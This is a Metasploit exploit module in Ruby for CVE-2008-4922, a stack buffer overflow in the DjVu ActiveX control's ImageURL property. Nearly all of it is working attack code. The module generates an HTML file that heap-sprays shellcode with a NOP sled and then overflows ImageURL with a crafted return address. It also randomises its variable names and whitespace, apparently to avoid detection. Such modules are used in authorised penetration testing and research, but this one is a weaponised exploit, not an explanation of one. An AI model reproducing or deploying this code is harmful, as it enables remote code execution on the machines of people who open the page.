DjVu – ‘DjVu_ActiveX_MSOffice.dll’ ActiveX Component Buffer Overflow (Metasploit)
## # $Id: djvu_imageurl.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in DjVu ActiveX Component. When sending an overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0) an attacker may be able to execute arbitrary code. This control is not marked safe for scripting, so choose your attack vector accordingly. }, 'License' => MSF_LICENSE, 'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ], 'Version' => '$Revision: 10477 $', 'References' => [ [ 'CVE', '2008-4922' ], [ 'OSVDB', '49592' ], [ 'BID', '31987' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ] ], 'DisclosureDate' => 'Oct 30 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. nops = Rex::Text.to_unescape(make_nops(4)) # Set the return. ret = Rex::Text.uri_encode([target.ret].pack('L')) # Randomize the javascript variable names. vname = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) content = %Q| <html> <object id='#{vname}' classid='clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C'></object> <script language="JavaScript"> var #{rand1} = unescape('#{shellcode}'); var #{rand2} = unescape('#{nops}'); var #{rand3} = 20; var #{rand4} = #{rand3} + #{rand1}.length; while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2}; var #{rand5} = #{rand2}.substring(0,#{rand4}); var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4}); while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5}; var #{rand7} = new Array(); for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} } var #{rand8} = ""; for (#{var_i} = 0; #{var_i} < 2024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') } #{vname}.ImageURL = #{rand8}; </script> </html> | content = Rex::Text.randomize_space(content) print_status("Creating HTML file ...") file_create(content) end end |